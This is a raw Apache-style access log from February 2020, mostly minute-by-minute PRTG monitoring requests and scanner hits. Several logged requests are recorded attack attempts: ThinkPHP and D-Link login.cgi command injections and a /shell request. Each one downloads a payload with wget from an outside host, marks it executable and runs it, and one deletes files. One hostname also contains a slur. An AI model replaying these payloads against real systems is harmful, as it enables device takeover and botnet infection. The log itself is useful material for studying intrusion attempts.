212.91.246.72 - - [15/Feb/2020:17:50:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:17:51:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:17:52:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:17:53:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:17:54:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:17:55:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
103.86.50.211 - - [15/Feb/2020:17:56:09 +0100] "GET /wp-login.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:62.0) Gecko/20100101 Firefox/62.0"
157.230.210.224 - - [15/Feb/2020:17:56:14 +0100] "GET /wp-login.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:62.0) Gecko/20100101 Firefox/62.0"
167.172.239.155 - - [15/Feb/2020:17:56:21 +0100] "GET /wp-login.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:62.0) Gecko/20100101 Firefox/62.0"
212.91.246.72 - - [15/Feb/2020:17:56:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:17:57:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
138.204.145.40 - - [15/Feb/2020:17:58:02 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [15/Feb/2020:17:58:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:17:59:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:18:00:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:18:01:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
180.44.187.203 - - [15/Feb/2020:18:01:47 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [15/Feb/2020:18:02:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
77.159.93.204 - - [15/Feb/2020:18:03:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [15/Feb/2020:18:03:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
103.229.93.54 - - [15/Feb/2020:18:04:27 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [15/Feb/2020:18:04:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:18:05:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
95.231.147.21 - - [15/Feb/2020:18:06:05 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [15/Feb/2020:18:06:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:18:07:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
220.245.162.192 - - [15/Feb/2020:18:08:28 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
212.91.246.72 - - [15/Feb/2020:18:08:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:18:09:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:18:10:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:18:11:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:18:12:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:18:13:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:18:14:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:18:15:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:18:16:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:18:17:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:18:18:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
200.87.180.85 - - [15/Feb/2020:18:18:48 +0100] "GET /shell?cd+/tmp;rm+-rf+*;wget+http://jhasdjahsdjasfkdaskdfasBOT.niggacumyafacenet.xyz/jaws;sh+/tmp/jaws HTTP/1.1" 404 306 "-" "Hello, world"
212.91.246.72 - - [15/Feb/2020:18:19:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:18:20:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:18:21:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:18:22:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:18:23:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:18:24:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:18:25:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
190.28.111.56 - - [15/Feb/2020:18:26:43 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://scan.casualaffinity.net/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Karu/2.0"
212.91.246.72 - - [15/Feb/2020:18:26:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:18:27:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
186.48.80.202 - - [15/Feb/2020:18:28:03 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [15/Feb/2020:18:28:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:18:29:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:18:30:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:18:31:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
180.104.223.148 - - [15/Feb/2020:18:31:38 +0100] "POST /HNAP1/ HTTP/1.0" 404 311 "-" "-"
212.91.246.72 - - [15/Feb/2020:18:32:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:18:33:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
36.78.26.21 - - [15/Feb/2020:18:33:55 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [15/Feb/2020:18:34:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:18:35:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:18:36:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:18:37:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:18:38:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:18:39:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:18:40:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:18:41:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:18:42:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
190.245.252.207 - - [15/Feb/2020:18:42:47 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [15/Feb/2020:18:43:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:18:44:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:18:45:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:18:46:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
110.251.114.230 - - [15/Feb/2020:18:47:21 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
212.91.246.72 - - [15/Feb/2020:18:47:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:18:48:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:18:49:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:18:50:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
189.154.127.97 - - [15/Feb/2020:18:51:36 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [15/Feb/2020:18:51:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:18:52:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
197.203.1.24 - - [15/Feb/2020:18:52:46 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [15/Feb/2020:18:53:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:18:54:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:18:55:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
196.52.43.102 - - [15/Feb/2020:18:56:15 +0100] "GET / HTTP/1.0" 200 1229 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3602.2 Safari/537.36"
212.91.246.72 - - [15/Feb/2020:18:56:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:18:57:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:18:58:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:18:59:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:19:00:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
115.132.39.179 - - [15/Feb/2020:19:01:26 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [15/Feb/2020:19:01:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:19:02:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:19:03:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
47.56.156.132 - - [15/Feb/2020:19:03:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
47.56.156.132 - - [15/Feb/2020:19:03:55 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
47.56.156.132 - - [15/Feb/2020:19:04:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
47.56.156.132 - - [15/Feb/2020:19:04:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
212.91.246.72 - - [15/Feb/2020:19:04:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:19:05:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:19:06:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:19:07:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:19:08:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:19:09:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
181.112.154.68 - - [15/Feb/2020:19:10:07 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
77.52.185.244 - - [15/Feb/2020:19:10:27 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [15/Feb/2020:19:10:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:19:11:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:19:12:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:19:13:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
103.79.78.40 - - [15/Feb/2020:19:14:06 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
212.91.246.72 - - [15/Feb/2020:19:14:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:19:15:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
85.108.65.82 - - [15/Feb/2020:19:16:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [15/Feb/2020:19:16:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:19:17:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:19:18:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:19:19:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:19:20:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:19:21:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:19:22:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:19:23:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:19:24:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:19:25:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:19:26:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:19:27:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
111.61.41.133 - - [15/Feb/2020:19:28:42 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [15/Feb/2020:19:28:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
195.155.232.223 - - [15/Feb/2020:19:29:07 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
195.155.232.223 - - [15/Feb/2020:19:29:10 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [15/Feb/2020:19:29:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
89.144.153.182 - - [15/Feb/2020:19:30:27 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [15/Feb/2020:19:30:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:19:31:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:19:32:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:19:33:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:19:34:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:19:35:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.48.70.90 - - [15/Feb/2020:19:35:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
87.241.175.26 - - [15/Feb/2020:19:36:13 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
87.241.175.26 - - [15/Feb/2020:19:36:14 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [15/Feb/2020:19:36:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:19:37:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:19:38:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:19:39:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:19:40:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
200.196.37.226 - - [15/Feb/2020:19:41:06 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
212.91.246.72 - - [15/Feb/2020:19:41:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:19:42:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:19:43:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:19:44:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:19:45:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:19:46:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:19:47:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:19:48:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
